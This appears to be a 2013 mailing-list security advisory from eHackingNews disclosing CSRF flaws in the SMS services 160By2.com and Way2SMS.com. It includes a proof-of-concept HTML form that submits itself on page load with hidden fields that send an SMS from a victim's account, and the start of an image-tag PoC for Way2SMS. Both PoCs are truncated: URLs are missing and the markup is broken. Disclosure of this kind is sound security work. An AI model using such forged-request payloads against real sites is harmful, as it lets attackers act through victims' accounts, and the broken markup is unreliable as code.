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CSRF Vulnerability in 160By2 allows hacker to send sms from victim account
From: eHackingNews <breakthesecurity.com () gmail com>
Date: Fri, 4 Jan 2013 06:09:13 +0530

Cross Site Request Forgery (CSRF) Vulnerability in Top Online-based SMS
sending service websites 160By2.com and Way2SMS.com.

The Security flaw in 160By2 allows hackers to send sms from victim account.
This Security flaw in Way2Sms hacker to change the name, dob and other
details of the victim with a crafted-request.

The PoC for the 160by2:
<body onload="document.smsalerts.submit();">

<form name="smsalerts" id="smsalerts" method="post" action="
    <input type="hidden" name="hidd_array" id="hidd_array">
    <input type="hidden" name="hidd_sno" id="hidd_sno">
    <input type="hidden" name="hidd_mno" id="hidd_mno" value="">
    <input type="hidden" name="hidd_edit_type" id="hidd_edit_type">
    <input type="hidden" name="alerttype" value="Birthday"/>
   <input type="hidden" name="cmd_gender" value="Him"/>
   <input type="hidden" name="cmb_month" value="01"/>
   <input type="hidden" name="cmb_day" value="01"/>
 <input type="hidden" name="cmb_year" value="2013"/>
 <input type="hidden" name="txthour"  value="20"/>
  <input type="hidden" name="txtminute" value="27"/>
  <input name="textfield4" type="hidden"  value="Your_Mobile_Number">
  <input name="txt_sendsms_count" type="hidden"  value="126 characters
<input type="hidden" name="textarea" value="BreakTheSec Inside"/>
<input type="hidden" name="totCount" value=""/>
<input type="hidden" name="pageNo" value=""/>

POC for the Way2SMS:
<img src="



Sabari Selvan, founder of E Hacking News
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